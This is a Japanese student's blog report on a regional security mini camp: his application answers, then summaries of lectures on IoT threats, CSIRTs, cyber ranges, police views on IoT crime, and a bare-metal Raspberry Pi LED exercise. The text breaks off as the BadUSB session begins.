 ③中学高校で勉強した抵抗値や電流・電圧の知識が必要にもなってくると思いました。その様な知識はテストで点数を取るためにしか使わないと思っていたのが、今更電子工作で必要になるとは思わなかったため、当時の勉強をしっかりしておけばと後悔しています。せっかく勉強したカラーコードの値も忘れてしまったので、現在勉強中です。また、Raspberry Piの出力電圧が5Vであることを意識し始めました。端子によっては3.3Vのものもあり、電圧には気を付けなければならないと思いました。
 ④回路に電流を流し、LEDなどを光らせておしまいではなく、回路の動作中にも利用者が介入してインタラクティブな操作ができるようにできないかと考えました。トグルスイッチを用いて実際にちょっとした操作ができるように遊んでみると、ゲーム機を操作しているようで面白いものでした。
 ⑤LEDに慣れてくると、今度は音声など他の出力も使いたいと思うようになりました。光らせるだけでなく、音や振動などを付け加えることによってより面白い回路の動作内容に幅を持たせたいと思いました。
 ⑥プログラミングによってより精密な動作ができると思いました。最初はGPIOのピンを操作するPythonスクリプトを書いていましたが、あくまでGPIOが電流を流すようにするだけのプログラムだったので深く考えていませんでした。しかし、スクリプトの内容を理解すると、時間ごとに電流のON,OFFを切り替えたり、GPIOからの出力を受け取り、センサの値などを読み取って数値化できると思いました。
 ⑦論理回路の勉強内容を活かしたいと思いました。NAND回路を使うことで全ての基礎回路を表現できることは分かっていたので、NAND ICを複数個用意すれば加算回路程度は実装でき、ゆくゆくはその回路をたくさん集めてCPUレベルの回路を作成できたらいいなと思いました。
 ⑧機能を複数持った回路を作ろうとする際に、持っていたブレッドボードの大きさが足りなかったので、ブレッドボードの使い方をうまくしてスペースを節約するか、新しい大きなブレッドボードを買ってもっと広く使いたいと思いました。いずれは大きなブレッドボード上で、もしくは基板上で電子工作をしたいと思います。
 ⑨当初はジャンパーワイヤーのオスとメスの存在の意味が分からず、3種類のうちどれか一つで十分だろうと思っていました。しかし、Raspberry Piだけでなく持っていたGR-PEACHで電子工作を行おうとした際、端子がRaspberry Piと違っていたのです。この時にジャンパーワイヤーはちゃんと複数種持っておくべきだと思いました。
 ⑩トグルスイッチを使っていると、トグルスイッチそのものに対して興味を持ち始め、トグルスイッチやその他の部品の中身の回路を気にするようになりました。回路をブラックボックス化し、外から入力と出力を気にするだけでよくなるのが好きな私は、いずれは自分オリジナルの部品を作ることができるのではないかとも思いました。

 話は脱線しましたが、最初のLチカで電子工作に対する関心や意欲が爆発的に大きくなったのは確かです。Lチカと言うのは、電子工作をする際に勉強する意欲となる「楽しさ」を教えてくれるよい「通過儀礼」のようなものだと思いました。今後も趣味と勉強を兼ね合わせた電子工作を進めていくつもりです。

 

5.「コンパイル」と「リンク」の違いについて知っていることを教えて下さい。

コンパイル」はある言語で書かれたソースコードを、別のデータ形式に変換する作業のことを指します。例えば、C言語ソースコードアセンブリ言語に変換することなどが挙げられます。一般的な参考書には説明の簡易化のために、ソースコードから実行可能ファイル(ELFやexe)を生成することをコンパイルとしているところもあるのですが、コンパイルアセンブリ言語を出力するところまでです。具体的には、ソースコードを読み取り、その中で字句解析や構文解析、意味解析などを通して中間表現と言うプロセッサアーキテクチャに依存しない表現を作成し、アセンブリを出力します。
 「リンク」とは、複数のオブジェクトファイルや共有ライブラリなどを一つのファイルにまとめる作業を指します。オブジェクトファイルとは、コンパイルの作業結果として出力されるアセンブリ言語アセンブラ機械語に変換したものです。共有ライブラリとは、他のプログラムでも利用できる便利な関数群などが格納されたプログラムです。これらのファイルをメモリアドレスの配置などを調整し、プログラム実行に必要な情報を一つにまとめたりする作業をリンクと呼びます。

 つまり、「コンパイル」と「リンク」の違いとは、ソースコードから一つの実行可能プログラムを生成する過程での作業内容であり、「コンパイル」はソースコードからアセンブリ言語を出力するという最初の方の過程であり、「リンク」はアセンブラから出力されるオブジェクトファイルや共有ライブラリなどを一つの実行可能ファイルにまとめるという最後の方の過程です。

6.あなたがミニキャンプに応募された動機について教えて下さい。また、この講義で学んだことを何に役立てたいか教えて下さい。

 セキュリティキャンプ全国大会に参加して大きな実力不足を感じ、より継続的な学習が必要だと感じたのがきっかけです。特にハードウェアの方面で更なる学習が必要だと感じました。全国大会ではハードウェアとソフトウェアの両方を学ぶことが重要だということを意識しながら参加していましたが、ハードウェアの中身を勉強できて楽しいと思った反面、知識不足から分からない点も多く、楽しかったのに先に進めずもやもやするという不思議な気持ちでした。そして私は高レイヤーより低レイヤーの方に関心があり、低レイヤーこそがコンピュータを学ぶ上でのすべてだと思っていました。しかし、それはあくまでハードウェアが基盤を支えているから成り立つものであって、ハードウェアを知らなければ分からない低レイヤーの領域もあるのだと感じました。
 しかし、必要性を感じたからと言ってすぐさま勉強ができる環境ではありませんでした。まず大学ではハードウェアに関しての科目が少なく、あったとしても仕組みや内部の詳細な構造を学ぶものではく機能単位で学ぶものでした。自分で学習しようにも、そのための教材を揃えるのは金銭的な面からみても厳しく、シミュレータ上での学習は物足りないと感じてしまいます。

 さらに、参考書などをあさってみても、「電子」というワードしか見当が付かないため、書籍を探していても低レイヤーとハードウェアを同時に学べるものはそうそう見つかりません。探すのが下手なのかは分かりませんが、探すのに時間を割いて実際の勉強ができていないのでは本末転倒です。
 講師の方や先人達はそういったことを乗り越え、がむしゃらに勉強しながらも必要な事柄を少しずつ見つけて、自分のものにしてきたのかもしれません。自分だけ効率的な方法を探して楽をしようとしているのではないかと思われてしまいそうですが、私はハードウェアや低レイヤーに限らず全ての分野における知識を吸収し、周りを引っ張っていける存在になりたいのです。時間を少しでも有効活用していろんなことを学びたいと考えています。
 セキュリティミニキャンプ(北陸)の講義はハードウェアが中心であり、更にソフトウェアについても学べるため、先述した私のわがままにピッタリ合っています。全国大会と同じ講義内容であり、私はそのどちらも受講していないので、新たに得られる知識はあるはずです。こんな濃密な体験ができる機会はそうそうあるものではなく、絶対に参加すべきだと私は考えます。全国大会参加後に過去のミニキャンプに参加しなかったことをとても後悔しているぐらいです。

 ですが今からでも遅くはありません。他の人より出遅れたと感じているからこそ、その原動力を無駄にしないよう今やれることを全力で打ち込み、自分の更なるスキルアップに励み、そして周りのレベルも挙げていくべきであり、そのためにもセキュリティミニキャンプに参加すべきだと思い、今回応募に至りました。

 この講義で学んだことを何に役立てたいかというと、低レイヤー含むハードウェア全体に関しての知識を習得し、ソフトウェア上での事象だけでなくパソコンやマイコンなど電子製品全体を扱えるようになり、色んなものを「ハック」できる「ハッカー」になるための布石としていきたいと考えています。
 『BareMetalで遊ぶRaspberry Pi~入門編~』では、ブートプロセスやメモリの使い方を学ぶと書いてあるので、その講義についても実際に体験したいとは思いますが、一番気になるのは「…~データシートの探し方や読み方などの自ら学んでいくための方法を学び~…」とあるところです。ソフトウェアのことであれば慣れているのである程度Googleで検索すれば何とかなりますが、ハードウェアのことになると慣れていないので探す以前に何を探したらいいのか分からないことがあります。この時に、自ら学んでいける力がないと何も解決しないまま諦めるか足踏み状態のまま終わってしまいかねません。そういった意味でも、私は「自ら学んでいくための方法」とはどんなものか知りたいと思います。そこから共通点などを見出し、「さらに自分で学んでいくための方法」を自身で見出していきたいと考えています。
 『AVRマイコンで作るBadUSB自作』では、こちらもハードウェアに関する事柄などを扱うと書いてありますが、特に注目すべきだと思ったのは「USB入力装置のセキュリティ対策を考察します。」とあるところです。以前SECCONの大会内容の中にIoTセキュリティがテーマとして挙げられていたことがありました。私はそれをみてもイマイチ良く分かりませんでした。ハードウェアではなく、人的セキュリティであれば「壊す、盗む、すりかえる」などと言ったことが挙げられるので、ある程度は予測はつくのですが、人的ではなくハードウェアで、セキュリティを実現するとは一体どういうことか想像できませんでした。このような全く見当のつかない分野であるからこそ、得られることが最も大きく、「セキュリティ」についての考えも変わってくると思います。一度凝り固まった思考を柔軟にほぐすためにも、ハードウェアのセキュリティは是非学びたいと思います。

 もう一つ役立てたいと思っていることがあります。それは他の人にも「もっと強くなりたい」という気持ちを持ってもらうことです。
 以前、セキュリティキャンプ全国大会に参加し、自分のレベルの低さを痛感したと同時に、私は自分の置かれている環境下に危機感を覚えました。大学内で開かれている授業は質が高いとは言えず、それにもかかわらずほとんどの生徒がその内容に苦労しているということがあります。その環境下で成績が良かったとか悪かったとか言っているのが恥ずかしいと思えるほどです。当然、上を見ればきりがないのと同じように、下を見てもきりがありません。大学の教授の方々も苦労して分かりやすいように教えようとしている結果どうしても質の高いものを提供できなくなっているのは分かります。悪いのは学ぼうとしない学生が多いことで、どんどんレベルが低下していると教授陣も嘆いていることをよく聞きます。自分の大学に限らずどこでもそうなのでしょうが、少なくともより勉強しなくてはいけないことは自明です。それからというもの、私は校内で「自分たちで教え合うことを重視した勉強会」を開き、そこのリーダーとして活動しています。学校の授業に満足せず、自分でよりレベルアップをしてもらいたいと考えたからです。特に、このような考えが大きくなったのはセキュリティキャンプ全国大会に参加してからだったので、自分の経験をより多くの人にでも知ってもらいたいと、今回勉強会のメンバーには応募するようにお願いをしました。
 自分が学んだこと、というよりは他の人が学んだことに近いですが、自分が学んだことを他の人と共有でき、皆でいい方向に進んでいけるための環境は必要だと思います。
 きっと、勉強会のメンバーも僕と同じように、講義の内容は良く分からなくて大変だったと思うかもしれません。そこでどんな気持ちを持つかは分かりませんが、もっと強くなりたいと思うようなってほしいのです。それを糧に、レベルアップをしてくれればうれしいと考えています。それこそ、セキュリティ(ミニ)キャンプ参加がゴールではなく、そこから先の行動が大切なのであり、参加自体はきっかけに過ぎないというある方の言葉を、私も皆に伝えていきたいと思います。それと同時に、彼らにもいろんなコミュニティが存在していて、様々なことに取り組んでいるんだということを知ってもらいたいです。志を持ったレベルの高い人たちと関わることによって、少しでもいろんなことを知ってもらいたいです。それが功を奏して、彼らも私と同じような気持ちで周りの人を巻き込んで成長していけるような人になってほしいと考えます。それがたとえセキュリティに関わることでなくても、いい経験になってくれると思います。押しつけがましいですが、きっかけや知り得なかった何かを提供できるきっかけづくりを、このセキュリティミニキャンプでできると考えました。

 全体的には、自分や他の人も含めて成長できる環を形成し、自他問わず力強い存在になるための行動を起こすために役立てたいと考えています。

 

 ↑以上が応募用紙になります。偉そうなことが書いてありましたが気にしないでください。気分を害したらすみません。

 

 ミニキャンプに応募したきっかけは、上に挙げた理由に加えて、継続的な学習をしていきたかったのもありますし、見たことのない分野を勉強することが大切だと日に日に感じていて、その分野(今回はIoT関連)をミニキャンプで学ぶことができると思ったからです。
僕の悪い癖は、なんでも食わず嫌いをしてしまうところです。ラーメンが好物なのですが、地元の8番ラーメンというお店が好きで、外食に行くたびに「8番(ラーメン)が食べたい」なんてよく言っていました。他にもおいしいラーメンはたくさんあるのに、それを知らないまま18年近くも同じラーメンを食べ続けていました。大学に入学して、友達と外食をするようになった頃、ようやく他のラーメン屋さんのを食べ始め、おいしいことに気づきました。

 …まぁ、物は例えようで、これと同じことが勉強についても言えます。セキュリティの分野を勉強する際に一番魅力的だったのがバイナリで、マルウェアの解析だったり、Exploitをしてみたりと色々とやってみたのですが、WebやIoTなどの分野は触ってきませんでした。それは「僕はバイナリ系で生きていくんだ、だから他の分野は最低限知ってればいいから優先度低めでいい」と思っていたからです。WebやIoTにも面白いことがたくさんあるのに、それを知らないのは損でしかないですよね。働き始めて忙しくなっても勉強はできるでしょうが、学びの機会は学生の間より少なくなるはずです。だから今のうちに、色んなことを知っておきたくて、今回ミニキャンプに応募しました。後で詳しく書きますが、実際面白いことばかりでした。

 というわけで、話がそれてしまいましたが、その面白い内容をご紹介します。タイムスケジュールは以下のようになります。これに沿って詳細をお話します。詳しいことは、こちらのサイトをご覧ください。

www.security-camp.org

 

1日目(一般講座)
  • 13:00~13:10 『開会挨拶』
    北陸先端科学技術大学院大学 教授 丹 康雄さん
  • 13:10~14:10 『IoTにおける脅威と対策 ~「IoT開発におけるセキュリティ設計の手引き」を題材に~ 』
    情報処理推進機構技術本部セキュリティセンター研究員 辻 宏郷さん
  • 14:20~15:20 『サイバー攻撃の現状とCSIRTの重要性』
    NECソリューションイノベーター株式会社 北信越支社 北陸支社 上級プロフェッショナル 高江 茂さん
  • 15:30~16:30 『サイバーレンジ自動生成による効果的な人材育成』
    北陸先端科学技術大学院大学 特任准教授 Razvan BEURANさん
  • 16:30~17:00 『ライトニングトーク』
    石川県警察本部
2日目(専門講座)
  • 10:00~12:30 『BareMetalで遊ぶRaspberry Pi ~入門編~ 』
    セキュリティ・キャンプ講師 西永 俊文さん
  • 13:30~15:45 『AVRマイコンで作るBadUSB自作』
    セキュリティ・キャンプ講師 竹迫 良範さん

『開会挨拶』(講師:丹 康雄さん)

 ミニキャンプの始まりとして、北陸先端科学技術大学院大学の丹康雄さんからご挨拶を頂きました。

 石川県のセキュリティ人材育成は、ミニキャンプやIT-Keys,SecCap,CYDER(全国版、地方版),石川県庁(ISA),ミニCYDER,民間企業のサイバーセキュリティ研修など、様々なものがあるということでした。また、北陸のミニキャンプで全国大会への人材を見出したりなど、セキュリティ人材育成に力を入れているとのことでした。

 同じ石川県に住んでいながら、セキュリティ人材育成のためのプログラムが他にもたくさんあるとは知りませんでした。そういうのにも参加してみたいところです。

『IoTにおける脅威と対策 ~「IoT開発におけるセキュリティ設計の手引き」を題材に~ 』(講師:辻 宏郷さん)

 初めの講義として、情報処理推進機構技術本部セキュリティセンター研究員の辻宏郷さんより講義して頂きました。

 IoTで家電製品などが「つながる」と、セキュリティの対策が不十分であったり、責任分界点が曖昧であったりと色々な問題があるそうです。2010年にIPAから発表された10大脅威では、IoTに関する問題は17位でした。しかし現在ではそのIoT機器の乗っ取りなどが問題となっています。そのIoT機器とは、Webカメラスマートハウス、スマート冷蔵庫であったり、薬剤ライブラリや自動車など、人の命に直接かかわるものも含まれます。

 そこで、IPAから発行されている「IoT開発におけるセキュリティ設計の手引き」を元に、複数の例からどのような対策を取るべきかを考えます。まずはIoTの定義として、IoTの構成要素を5つに分割します。

  1. サービス提供サーバ…クラウドなど
  2. 中継機器…ルータやスマホ
  3. システム…病院内の医療ネットワークなど
  4. バイス…特定の目的専用に設計された機器など
  5. 直接相互通信デバイス…中継機器を介さずに通信ができるデバイスなど

 構成要素を分割したら、今度は以下の手順を踏んでいきます

  1. 「全体図」を明確にする
  2. 守るべき「資産」を明確化する
  3. 資産を脅かす「脅威」を明確化する
  4. 脅威に対する「対策」を明確化する
  5. 数ある対策の中からコストなどに見合ったものを選択する

 この手順を取る中で、脅威の分析を行う手法は二つあります

  • 一般的アプローチ(脅威を脆弱性を洗い出して考える)
  • 攻撃シナリオベースアプローチ(実際に攻撃されそうなことを考える)

攻撃シナリオベースアプローチの例として、ネットワークカメラを例に挙げると、ネットワークカメラからの画像を盗み見られたり、改ざんされたりといったことが考えられます。そこから対策を練ることになります。ただし、対策は対象機器のリソースやコスト、インシデント発生時の影響度合を考慮しなくてはなりません。

 さらに、脆弱性の対応は開発段階と運用段階によって異なり、開発段階では脆弱性をなくすように努め、運用段階では脆弱性情報を収集するとともにユーザに通知しなければならないとのことです。

 

ここからは4つのIoT機器を例に挙げ、特徴・脅威・対策を列挙します。

デジタルテレビ
  • 特徴:製品寿命が長いため、継続的なサポートが必須。スパムの踏み台にされることも
  • 脅威:ウィルス感染、物理的な侵入、ポータルサイトなどネットも脅威
  • 対策:FW,アンチウィルス、暗号化など
ヘルスケア
  • 特徴:患者の人命に関わったり、患者の個人情報などを含んでいたりとクリティカル
  • 脅威:ヘルスケアデータの「一括漏えい」、内部不正、改ざんなど
  • 対策:耐タンパ、セキュア消去、暗号化、紛失・盗難対策など
スマートハウス
  • 特徴:前住居者によるパスワード使い回しなどによって、在宅状況の確認などもできてしまう
  • 脅威:データ漏えい、盗聴・改ざん、不正アクセスDoSなど
  • 適切な遠隔操作の実装、認証強化、暗号化など
コネクテッドカー
  • 特徴:重大な事故、人命にかかわり、収集される情報は個人情報に相当
  • 脅威:データ漏えい、改ざん、使用者自身による不正な改造など
  • 対策:暗号化、不正プログラムの動作防止、セキュアな消去、OBD-2ポートへの対策

このように、各機器に対して様々な特徴と脅威があり、取るべき対策も様々です。中にはダイレクトに人命を奪いかねないものもあります。開発する際は、チェックリストのようなものを作成し、脆弱性を作り込まないことが大切です。その参考になるサイトを以下に示します。

 

こちらはIoTのセキュリティというページで、IoTセキュリティに関する資料等が公開されています。

www.ipa.go.jp

こちらのページはインターネットに接続されている機器を検索するサービスの活用方法などが紹介されているレポートです。

www.ipa.go.jp

 こちらのページはIoTの開発者が最低限検討してほしい事項をまとめたものです。

「つながる世界の開発指針」を公開:IPA 独立行政法人 情報処理推進機構

こちらのページはOWASPという団体が公開している、IoTセキュリティを理解向上を支援するための情報があります。Top 10 IoT Vulnerabilitiesというものもあります。

OWASP Internet of Things Project - OWASP

 こちらも同様に、OTAという団体が公開しているもので、31項目のベストプラクティスをまとめたフレームワークなどが載っています。

otalliance.org

こちらのページも同様に、GSMAという団体のセキュリティガイドです。ページには動画がよくみられて、(英語ですが)なんとなく敷居が高く感じられるものではなかったです。

www.gsma.com

 

 医療関係に少しだけ興味があるので、今回のお話に合った医療機器に対しての攻撃というのが恐怖しか感じませんでした。IoTによってセキュリティの甘い機器が悪用されると脅威になり、物理的に攻撃を与えられることは知っていましたが…医療機器になると、機能を落とすだけでも命を奪われるかもしれないと思うと、恐ろしいの一言に尽きます。

 「じゃあそういうものの対策をしっかりしなければならない」となるのですが…IoTのセキュリティはハードとソフトの両方を知らなければできない、と全国大会で学んだので、改めて脅威と対策の多さに圧倒された感じがしました。しかもIoTならではのスペックもあって、必ずしも強固なセキュリティ対策が取れる訳でもないため、実際に開発の場に立ったら対策の種類に迷ったりしてしまいそうです。

サイバー攻撃の現状とCSIRTの重要性』(講師:高江 茂さん)

 続いての講義として、NECソリューションイノベーター株式会社 北信越支社 北陸支社 上級プロフェッショナルの高江 茂さんより講義をして頂きました。

 現状のサイバー攻撃は、標的型攻撃(数か月から数年にかけて)、DoS(10~60分、長くて1週間)が依然として活発であり、特にランサムウェアに至っては急増しています。その攻撃者は国が関わっているものから俗に言うスクリプトキディまで様々です。

 近頃よく聞く標的型攻撃の手法は高度化しており、サンドボックス解析の回避をするようになったり、PlugXやEmdiviなどのマルウェア作成ツールの存在、そして情報収集対象が機密情報だけでなく様々な情報に拡大していることから、対策も困難になっているそうです。

 それでも以下のような対策をする必要はあります。

  1. 大容量の通信(つまりDoS)に対しては監視を強化することはもちろん、その予兆を検知することが大切(例えば現実で何かしらのイベントが発生する、とか)
  2. リフレクション攻撃(DNS,NTP,SSDP)に対しては脆弱性の対策を施し、攻撃に加担しない事
  3. 破壊型の攻撃に対しては、標的型攻撃の対策を取ること

 最近の攻撃例として有名なのは、アノニマスが銀行を攻撃したり(opIcarus)、Miraiのソースコードが公開されたことからDDoSが行われたりしたことです。海外でも日本でも攻撃は行われていますが、今後東京オリンピックの影響で日本が攻撃を受けることになるそうです。しかも、「東京」ではなく日本全体が。

 

 ここでランサムウェアとIoTのサイバー攻撃に目を向けてみます。

  • ランサムウェア
    ファイルの暗号化やシステムの防止(MBRの書き換えなど)の攻撃パターンが存在し、それらはメールやWebで感染します。大抵URLが記載されていますが、そのURLは表示されているものとは違ったURLへアクセスします。なので単にURLを見るだけでは騙される可能性が高いです。
    ランサムウェアなどマルウェアに感染した後、「感染端末をネットワークから切断する」といった対策が挙げられますが、これは有効or無効の意見が分かれているそうです。もちろんネットワークから遮断すれば漏えいは防げるでしょうが、マルウェアの中にはネットワークが切断されたことを検知するものもあるそうです。
    また、ランサムウェアの特徴として「データを返してほしくば金をよこせ」というものがあります。データの身代金として1000万するものもありますが、中にはデータの価値よりも安い身代金を要求するランサムウェアもあったそうです。これは推測らしいのですが、そのデータの価値を知らない「子供」がやったのではないかとも。
  • IoTのサイバー攻撃
    先程も説明した通りMiraiが有名です。Miraiは攻撃対象の機器が備えているであろう様々なアーキテクチャMIPS,PowerPCなど)に対応しており、しかもそのソースコードが公開されています。
    Miraiに限らず、他のIoT機器を狙うものもあります。特に、Telnet経由で不正アクセスされることが多く、工場出荷時のまま利用されているIoT機器は危険です。こういったIoT機器は、販売数が多い上に機器の性能が高いとは言えず、さらに利用形態も様々であるなど、脆弱性の対応が困難な性質を持っています。
    人命やインフラを狙った攻撃であるが故に、社会不安やテロとの連携も示唆されていたり、踏み台として利用したりすることもできます。いずれにせよ、これらはその社会不安やテロを狙っている可能性があるので、それを見極める必要があります。普通に見れば、狙っている社会不安よりも「攻撃」そのものが「目的」に見えてしまうので、リスク分析をする際は手段と目的を混同しないことが大切です。

 このようにサイバー攻撃が激化する一方で、その対応をしたり、人材育成を行う動きがありました。ここからはNECの方々の取り組みとなります。

 サイバー攻撃はあくまで人vs人なのであり、固定的な対応はほぼ無意味です。細かく対策ステップを踏んでいき、攻撃者の「投資意欲」を減衰させることが重要です。それらを助ける指針として、攻撃手法の明確化と防御の可視化が挙げられます。

 また、サイバー攻撃への対策はどこかの部署だけがやればいいというものではなく、色んな部署と連携して行う必要があります。サイバーセキュリティ総合演習では様々な部署との連携を確認しています。

 他にも、人材育成のためにCTFをすることもあります。CTFはOSやDB、マルウェアやメモリなどの知識が必要であり、社内でその腕を競い合うこともあります。

 

 ランサムウェアを送りつけてくるのはどこかのハッカー集団か何かしらの組織なんじゃないかな~、とか思っていましたが、今回のお話を聞いてちょっと考えが変わりました。サイバー攻撃は誰でもできるんですね。誰でもできる=誰でもやってもいいとかにはなりませんが、子どもがやっているかもしれないと聞くと、善悪の判断がまだ完全ではない子がやっているのかもしれません。段々と、サイバー犯罪の年齢が低くなるのかなと思いました。

 東京オリンピックが開催される年は、多分大学を卒業して就職している頃だと思います。セキュリティを意識した開発ができるよう、今のうちにたくさん勉強して、CTFや勉強会にも参加して知識と経験を蓄えておかないといけないと思いました。それもハードとソフトの両面で、色んな事を知っておかないといけないので、これからも様々な分野に目を向けることを忘れないで行動したいと思います。

 

『サイバーレンジ自動生成による効果的な人材育成』(講師:Razvan BEURANさん)

 3つ目の講義として、北陸先端科学技術大学院大学 特任准教授 Razvan BEURANさんに講義して頂きました。

 サイバー攻撃によって社会的信用の失墜や事業停止、事業継続が困難になります。Yahoo!のデータ漏えいでは5億人ものユーザの情報が漏えいするなどしました。他にも、Razvanさんの個人的な環境下では30分にTelnetに対するアクセスが11回も観測されるなど、サイバー攻撃は頻繁に起きています。

 こういったサイバー攻撃に対しての対策を立てる上で、やはり私達人間がその対策方法や防御手段を知らなければなりません。つまり、サイバーセキュリティ人材育成が必要になります。

 そのサイバーセキュリティ人材育成のためにはサイバーレンジと呼ばれるものも必要になります。

  • サイバーレンジとは
    サイバー攻撃や防御の演習を行うための仮想的な演習場みたいなもの。
    受講者・講師が演習環境にアクセスできるようにするのと、スタッフに対しメールなどで対応状況をやり取りできる環境と、模擬的な攻撃者のいる環境が用意されている。

 サイバー演習プログラム(セキュリティ人材育成のための環境・イベントやその名称)の代表例として、セキュアEggs、SECCON、セキュリティキャンプ、CYDER、Hardening Project、enPIT-Securityなどが挙げられます。しかしこれらの演習環境の構築は「手作業」が多く、規模に応じて時間がかかり、演習で用いられる問題などに間違いがある可能性もあります。その対策として、スタッフや攻撃者の役割や問題作成などを自動化させるといった事が必要であり、今回のテーマはそのフレームワークの開発です。

 サイバーセキュリティ人材を育成するためには多種多様なサイバーレンジ環境を「簡単に」構築できるようにする必要があります。例えば、受講者のレベルが高い場合にはセキュリティトレーニング、レベルがそれほど高くない人にはセキュリティの認識をさせるトレーニングなどが必要になります。サイバー演習もそのレベルに合わせて指向を変える必要があり、レベルの高い人には模擬的な環境下で技術的なセキュリティを学ばせ、そうでない人には基本的なことをゲーム要素も交えたクイズ形式などにすることも考えられます。

 実世界のインシデントでは、脆弱性の不正利用から攻撃を行います。それらに対応して、サイバー演習では主に三つの演習の種類があり、それぞれに目的があります。それらを繰り返すことで実世界のインシデントに対する対応力を上げます。

  • 攻撃系演習…不正利用の認識
  • 解析系演習…現象の理解
  • 防御系演習…対策などの立案

 Razvanさんが開発したのは、CyTrONE(サイトロン)と呼ばれるフレームワークです。問題のレベルや種類を設定し、確定するだけで自動的にそのサイバーレンジを生成してくれるもので、スマートフォンからでも操作ができるようにするそうです。

 演習用のサーバを用意すれば、演習内容の設定をするだけでサイバーレンジができあがります。その生成時間は簡単なものであれば5分程度でできるそうです。

 このCyTrONEはオープンソースで、誰でも利用できるよう年度末に公開する予定だそうです。今後の課題として、ビジネスモデルを考えなければなりません。Razvanさんは、インシデントエミュレーションや、IoT、セキュリティ認識などの問題のジャンルを追加するといったことを企業などが行うことでビジネスに繋げられるとしていました。また、インシデントやエクスプロ意図のデータベースなどと連携し、更なるサイバーレンジ生成の自動化を質を高めるとしていました。

 

 CTF for ビギナーズに参加して、自分でもあのような環境を作ってみたくてラズパイで頑張ったことがあります。とっても簡素なシステム(システムと言えるのかも疑問)にしたつもりなのに、構築にかなり時間がかかりました。問題内容も誤りがあったりして大変でしたが、CyTrONEのようなフレームワークがあるならそういったことも容易に行えそうです。一度は使ってみたいです。

 Hardeningやインシデントトレーニングなどは体験したことがなかったので、今後自分で問題を自動生成して、自分で攻撃しながら防御もするという一人Hardening?も行えそうです。サーバの用意は難しくないですし、問題を自分で作るという手間を学習に使えるというのも魅力的です。問題を作りながら学ぶというのもありますが、その自動化を行う機構を調べて勉強することもできそうなので、CyTrONEには今後注目したいところです。

 

『IoT時代の到来とサイバー空間の脅威~IoT時代におけるサイバー犯罪~』(講師:石川県警の方)

 1日目最後の講義として、石川県警察本部の方よりライトニングトークをして頂きました。

 サイバー空間の現状として、インターネットが当たり前であり、そこにはサイバー空間としての脅威がつきものです。

 全国のサイバー犯罪の検挙数は少しずつ下がってきていますが、それに対し相談件数は右肩上がりで、石川県内でも同様です。世の中が便利になった分、サイバー犯罪も進化をしているというところです。

 東京オリンピックが開催される2020念には約250億個ものデバイスが接続されます。ですが、組込みデバイスは10年遅れのセキュリティレベルとなってしまうかもしれません(数が多い上に長期間使用され、ハードとソフトが一体になっているなど、セキュリティ機能を向上させるのにはあまり向いていない性質があるため)。

 冷蔵庫やテレビから迷惑メールが送られてきたり、防犯カメラを利用したDDoS攻撃(Mirai)、IoTの攻撃も活発になっています。ちなみに、Miraiの開発者は日本人で、開発者の特定を困難にするためにあえてソースコードを公開したのではないか、という推測がなされているそうです。石川県内では、スマートTVの感染事案が発生しています。

 これから予想されるサイバー犯罪は、工場やビルの乗っ取り、警報装置の機能をOFFにする、自動車の事故誘発や病院を乗っ取り殺人、などが挙げられます。

 警察の視点からすると、捜査上の課題がいくつもあります。IoTデバイスなどの動作不良として処理されたり、新しい技術が出るとそれに対応しなければなりません。

 紹介した例はあくまで一例に過ぎず、予想を超えた犯罪がこれから発生するかもしれません。サイバー犯罪に関することで相談がある場合は石川県警の方に専用の窓口がありますので、電話やメールでご相談ください。緊急を要するものに関しては110番だそうです。

 

 ちょっと「上手いな」と思ってしまったのが、Miraiのソースコードの公開です。本当かどうかは分かりませんが、ソースコードの公開でMiraiの開発者の特定を困難にさせるというのが上手いやり方だと思いました。そこでたくさんの派生というか亜種が生まれれば、派生元を特定するのも難しくなりますし、その間にも新しい亜種も生まれるとなると…考えただけでも気の遠くなるような感じがします。

 

 1日目の講義は以上となります。ここからは2日目の専門講座となります。

 

『BareMetalで遊ぶRaspberry Pi ~入門編~ 』(講師:西永 俊文さん)

 2日目の最初の講義として、セキュリティキャンプ講師の西永俊文さんに講義して頂きました。

 まずはBareMetalとは何かということ、コンピュータ構成の基礎について学びます。BareMetalとはOSなどの入っていないコンピュータのことで、その間境界での開発をBareMetalをいいます。今回の目的は、BareMetal開発でLEDをチカチカと点灯させること(Lチカ)をすることです。

 コンピュータのハードウェア構成は入力装置、出力装置、中央演算処理装置、主記憶装置、補助記憶装置の主に5つに分けられ、それらの上でソフトウェアが動作しています。

 しかし、ソフトウェアを作成するときに書くソースコードのようなものは直接動作せず、そのソースコードコンパイルしてリンクして…と、色々な過程を経てようやくCPUが理解できるようになります。

 コンパイルもリンクも、ただgccのようなコマンドだけで終わるわけではなく、開発先の環境に合わせたツール群が必要になります。そして、開発先のハードウェア構成も考慮してプログラムを作成しなければなりません。CPUのレジスタ構成や、関数呼び出し規約、スタックやセグメントなどの考え方もここで使われます。

 演習ではCのプログラムを書いて、実際にLチカをしてみます。Raspberry PiのGPIOに接続されたLEDを点灯させるという、一見して簡単な事ように見えます。RaspbianなどOSが予めインストールされたRaspberry Pi上では、コマンドを少し打つだけでLチカができます。しかしBareMetal環境下では、GPIOの制御レジスタの値を変更しなければならず、そのためにはメモリマッピングを把握した上でビット演算を行う必要があります。そのためのCのソースコードを見ましたが、なんとなくは分かるものの実際のレジスタの値をセットしろと言われると計算が難しくて大変でした。

 Lチカが無事成功し、発展課題としてスイッチとプログラムを連携してLEDを制御できるか、と言うのがありましたが、うまくいかず時間となりました。やっぱり、普段からビット演算に慣れ親しんでいない上にハードウェアに密接なプログラミングをあまりしていないと、すぐにはコードを書けませんでした。コードを書けたとしても、「動く」コードとは限らないのが、実力不足を痛感させられたところです。

 普段なかなかしないようなアセンブリコードを読んだり、Makefileを編集したり、リンカスクリプトを読んでみたり…これがコンピュータを動かすために必要なことなんだと考えると、普通のパソコンやスマホのようなコンピュータはどれだけの構成を備えているのだろうと思います。

 しかも、その上でOSとして機能し、利用者が新たにプログラムを作成したり、それらを効率よく開発できるためにされた仕組みや工夫があるということは、OSというものは改めて凄いものなんだな、と実感させられます。WindowsLinuxソースコードは一体どのようになっているのか…膨大な量のソースコードを開発しているなんて、もう凄いとしか言えません。だからこそ、そのソースコードが気になります。OSの中身を勉強したいと思う気持ちがさらに強くなりました!

 

 二日目はお昼御飯を講師の方と一緒に食べます。美味しかったです。

f:id:HappyNote3966:20161226172537j:plain

 お腹も満足したところで、ミニキャンプ最後の講義です。

 

『AVRマイコンで作るBadUSB自作』(講師:竹迫 良範さん)

 続いての講義として、セキュリティキャンプ講師の竹迫良範さんに講義して頂きました。

